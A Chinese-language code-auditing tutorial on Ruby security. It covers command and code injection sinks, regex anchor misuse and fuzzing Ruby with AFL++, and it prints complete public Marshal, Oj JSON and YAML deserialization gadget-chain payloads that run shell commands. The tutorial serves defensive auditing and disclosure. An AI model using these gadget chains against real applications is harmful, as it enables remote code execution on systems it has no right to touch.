随着Ruby越来越流行,Ruby相关的安全问题也逐渐暴露,目前,国内专门介绍Ruby安全的文章较少,本文结合笔者所了解的Ruby安全知识点以及挖掘到的Ruby相关漏洞进行描述,希望能给读者在Ruby代码审计上提供帮助。

Ruby简介
Ruby是一种面向对象、指令式、函数式、动态的通用编程语言。在20世纪90年代中期由日本电脑科学家松本行弘(Matz)设计并开发。Ruby注重简洁和效率,句法优雅,读起来自然,写起来舒适。

Ruby安全
说到Ruby安全不得不提RubyonRails安全,本篇着重关注Ruby本身。Ruby涉及到web安全漏洞几乎囊括其他语言存在的漏洞,例如命令注入漏洞、代码注入漏洞、反序列化漏洞、SQL注入漏洞、XSS漏洞、SSRF漏洞等。但是在具体的漏洞触发上,Ruby又不同于其他语言。

命令注入漏洞
命令注入漏洞一般是指把外部数据传入system()类的函数执行,导致命令注入漏洞。触发命令注入漏洞的链接符号有很多,再配合单双引号可以组合成更多不同的注入条件,例如(linux):

  • ``
  • $()
  • ;
  • |
  • &
  • \n

在审计代码的时候一般会直接搜索能够执行命令的函数,例如:

  • popen()
  • spawn()
  • syscall()
  • system()
  • exec()
  • Open3.*

而对于Ruby,除了支持这些函数执行命令,还有一些独特执行命令的方式:

  • %x//
  • ``
  • open()
  • IO.read()
  • IO.write()
  • IO.binread()
  • IO.binwrite()
  • IO.foreach()
  • IO.readlines()

%x//和``属于类似system函数,可以把字符串解析为命令:
image-1661846687443
open()是Ruby用来操作文件的函数,但是他也支持执行命令,执行传入一个以中划线开头的字符,后面跟着要执行的命令即可:
image-1661846696411
除了open()函数,IO.read()/IO.write()/IO.binread()/IO.binwrite()/IO.foreach()/IO.readlines()函数也可以以相同的方式执行命令。

open()函数引发的Ruby安全问题:
https://hackerone.com/reports/1161691
https://hackerone.com/reports/651518
https://hackerone.com/reports/1158824
https://hackerone.com/reports/294462
File.read()函数引发的Ruby安全问题:
https://hackerone.com/reports/449482
IO.readlines()函数引发的潜在Ruby安全问题,笔者发现,已被忽略:
https://hackerone.com/reports/1090678
代码注入漏洞
代码注入漏洞一般是由于把外部数据传入eval()类函数中执行,导致程序可以执行任意代码。Ruby除了支持eval(),还支持class_eval()、instance_eval()函数执行代码,区别在于执行代码的上下文环境不同。eval()函数导致的代码注入问题与其他语言类似,不再赘述。
Ruby除了eval()、class_eval()、instance_eval()函数,还存在其他可以执行代码的函数:

send()
__send__()
public_send()
const_get()
constantize()

send()函数
send()函数是Ruby用来调用符号方法的函数,可以将任何指定的参数传递给它,类似JAVA中的invoke函数,不过它更为灵活,可以接收外部变量,举例:

class Klass

  def hello(*args)

      puts "Hello " + args.join(' ')

  end

end

k = Klass.new

k.send :hello, "gentle", "readers"

#=> "Hello gentle readers"

上述代码中,实例k通过send动态调用了hello办法,假如hello字符串来自外部,便可以传入eval,注入恶意代码,举例:

class Klass

  def hello(*args)

      puts "Hello " + args.join(' ')

  end

end



k = Klass.new

k.send :eval, "`touch /tmp/niubl`"

__send__()函数
send()函数和send函数一样,区别在于当代码有send同名函数时,可以调用__send__()。

public_send()函数
public_send()和send()函数的区别在于send()可以调用私有方法。

send()函数引发的Ruby安全问题:
https://hackerone.com/reports/327512
搜索一些不安全的用法:
image-1661846881427
const_get()函数
const_get()函数是Ruby用来在模块中获取常量值的函数,它存在一个inherit参数,当设置为true时(默认也为true),会递归向祖先模块查找。它还有另外一个用法,就是当字符串是已载入的类名时,会返回这个类(Ruby中,类名也是常量),类似JAVA的forName函数,常用写法是这样:
image-1661846903915
代码中,使用const_get动态实例化了类,使Ruby更为灵活。但是这样的用法如果使用不当,也会出现安全问题,例如这里(rack-proxy模块):
image-1661846913200
如图,perform_request()函数在Net::HTTP模块中搜索HTTP方法类,然后实例化,并传递full_path请求路径参数给new()函数,HTTP方法和请求路径都是外部可控的,而且const_get()函数没有限制inherit,默认可以递归查找,在整个空间内实例化任意已载入类,并传递一个可控参数。如果找到合适的利用链,完全可以到达任意代码执行。目前,该问题已在GitHub上被发现并修复。
image-1661846923039
实战中已经有人使用此方法实现了代码执行,那就是gitlab的一个漏洞

https://hackerone.com/reports/1125425, kramdown模块使用const_get()函数来动态实例化格式化类,但是没有限制inherit,导致vakzz通过使用一个Redis类的利用链达到了任意代码执行的目的,漏洞报告已经写的非常详细,不再赘述。
constantize()
constantize同样可以将字符串转化为类,属于RubyonRails中的用法,底层调用的const_get()函数:

  def constantize(camel_cased_word)

    Object.const_get(camel_cased_word)

  end

下图中constantize要转化的类和类实例化的参数都可控,如果我们能找到合适的利用链,便可以到达任意代码执行:

image-1661846963367
反序列化漏洞
反序列化漏洞是指在把外部传入的不可信字节序列恢复为对象的过程中,未做合适校验,导致攻击者可以利用特定方法,配合利用链,达到任意代码执行的目的。Ruby也有反序列化的函数,同样也存在反序列化漏洞。

Marshal反序列化
Marshal是Ruby用来序列反序列化的模块,Marshal.dump()可以把一个对象序列化为字节序,Marshal.load()可以把一个字节序反序列化为对象。

Marshal反序列化的利用已有很多篇分析文章,不再赘述。

https://github.com/haileys/old-website/blob/master/posts/rails-3.2.10-remote-code-execution.md
https://www.elttam.com/blog/ruby-deserialization/
lhttps://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html
lhttps://github.com/httpvoid/writeups/blob/main/Ruby-deserialization-gadget-on-rails.md
使用已经公开的POC测试:

# Autoload the required classes

Gem::SpecFetcher

Gem::Installer



# prevent the payload from running when we Marshal.dump it

module Gem

class Requirement

  def marshal_dump

    [@requirements]

  end

end

end



wa1 = Net::WriteAdapter.new(Kernel, :system)



rs = Gem::RequestSet.allocate

rs.instance_variable_set('@sets', wa1)

rs.instance_variable_set('@git_set', "id > /tmp/niubl")



wa2 = Net::WriteAdapter.new(rs, :resolve)



i = Gem::Package::TarReader::Entry.allocate

i.instance_variable_set('@read', 0)

i.instance_variable_set('@header', "aaa")



n = Net::BufferedIO.allocate

n.instance_variable_set('@io', i)

n.instance_variable_set('@debug_output', wa2)



t = Gem::Package::TarReader.allocate

t.instance_variable_set('@io', n)



r = Gem::Requirement.allocate

r.instance_variable_set('@requirements', t)



payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])

puts Marshal.load(payload)

执行POC(ruby-3.0.0):
image-1661847014957
搜索一些不安全的用法:
image-1661847025026
JSON反序列化
Ruby 处理JSON时可能存在反序列化漏洞,但是不是Ruby内置的JSON解析器,而是第三方开发的解析器oj(https://github.com/ohler55/oj)。oj在解析JSON时支持多种数据类型,包括会导致代码执行的Object类型。

使用已经公开的POC测试:

require "oj"



json = '{"^#1":[[{"^c":"Gem::SpecFetcher"},{"^c":"Gem::Installer"},{"^o":"Gem::Requirement","requirements":{"^o":"Gem::Package::TarReader","io":{"^o":"Net::BufferedIO","io":{"^o":"Gem::Package::TarReader::Entry","read":0,"header":"aaa"},"debug_output":{"^o":"Net::WriteAdapter","socket":{"^o":"Gem::RequestSet","sets":{"^o":"Net::WriteAdapter","socket":{"^c":"Kernel"},"method_id":":spawn"},"git_set":"id >> /tmp/niubl"},"method_id":":resolve"}}}}],"dummy_value"]}'

Oj.load(json)

执行POC(ruby-3.0.0):
image-1661847051769
oj可以通过设置模式,避免反序列化对象:

Oj.default_options = {:mode => :compat }

YAML反序列化
Ruby YAML也支持反序列化对象,pysch 4.0之前版本调用YAML.load()函数即可反序列化对象,psych 4.0以后需要调用YAML.unsafe_load()才能反序列化对象。使用已经公开的POC测试:

- !ruby/class 'Gem::SpecFetcher'
- !ruby/class 'Gem::Installer'
- !ruby/object:Gem::Requirement

requirements: !ruby/object:Gem::Package::TarReader
  io: !ruby/object:Net::BufferedIO
    io: !ruby/object:Gem::Package::TarReader::Entry
      read: 0
      header: aaa

    debug_output: !ruby/object:Net::WriteAdapter
      socket: !ruby/object:Gem::RequestSet
        sets: !ruby/object:Net::WriteAdapter
          socket: !ruby/module 'Kernel'
          method_id: :system
        git_set: id >> /tmp/niubl
      method_id: :resolve
require "yaml"
YAML.load(open("test.yaml").read())

执行POC(ruby-3.0.0):
image-1661847126229
Ruby YAML解析,psych4.0之前可以通过调用save_load()函数,避免反序列化对象,psych 4.0之后默认load()函数就是安全的(https://github.com/ruby/psych/pull/487)。

搜索unsafe_load的使用,不一定存在漏洞,需要yaml内容可控才有风险:
image-1661847136206
正则错用
Ruby正则大体与其他语言一样,只是在个别语法上存在差别,如果没有特别了解研究,按照其他的语言用法套用,就很有可能出现安全问题,例如Ruby在用正则匹配开头和结尾时支持^$的用法,但是支持多行匹配则需要改为\A\Z避免换行绕过。
image-1661847148654
正则错用引发的安全问题:
https://hackerone.com/reports/733072
搜索相关代码,还是有不少错用的:
image-1661847163145
FUZZ Ruby解析器
在学习Ruby反序列化时,想要通过Ruby用C语言实现Marshal,对处理不同数据类型做处理,那么可以对他进行一下FUZZ。

FUZZ使用了AFLplusplus,配置编译Ruby:

./configure CC=/opt/AFLplusplus/afl-clang-fast CXX=/opt/AFLplusplus/afl-clang-fast++ --disable-install-doc
--disable-install-rdoc --prefix=/usr/local/ruby --enable-debug-env

export ASAN_OPTIONS="detect_leaks=0:abort_on_error=1:allow_user_segv_handler=0:handle_abort=1:symbolize=0"

AFL_USE_ASAN=1 make

使用AFLplusplus的deferred instrumentation模式,对Ruby源码main.c文件稍作修改:
image-1661847240035
样本生成上,可以选取Ruby自带的测试用例,这样可以快速得到比较全面合法的样本,正好在学习Ruby hook的方案,写了一个简单的hook函数,在rubygems.rb文件中加载,劫持Marshal模块,执行自测的同时即可保存下样本。

require 'securerandom'



module Marshal

  class << self

      alias_method :__dump, :dump

      def dump(*args)

          result = __dump(*args)

          uuid = SecureRandom.uuid

          File.open("/testcases/" + uuid, 'wb') {|f| f.write(result)}

          result

      end

  end

end

想要FUZZ其他模块也可以用同样办法来获取样本。
经过一段时间的FUZZ,陆陆续续发现了一些漏洞:

  1. CVE-2022-28738 doublefree in onig_reg_resize
    image-1661847269241
  2. CVE-2022-28739 heap-buffer-overflow in strtod
    image-1661847281434
  3. global-buffer-overflow calc_tm_yday
    image-1661847291431
  4. dynamic-stack-buffer-overflow in renumber_by_map
    image-1661847301088
  5. JSON.parse denial of service
    image-1661847378540

虽然FUZZ出了一些问题,但是依旧存在很多未解决的问题,比如FUZZ速度、效率、自动化等,未来将继续深入探索研究。

以上是笔者在ruby中的一些学习研究汇总,如有不恰当之处,敬请斧正,一起交流学习。

参考链接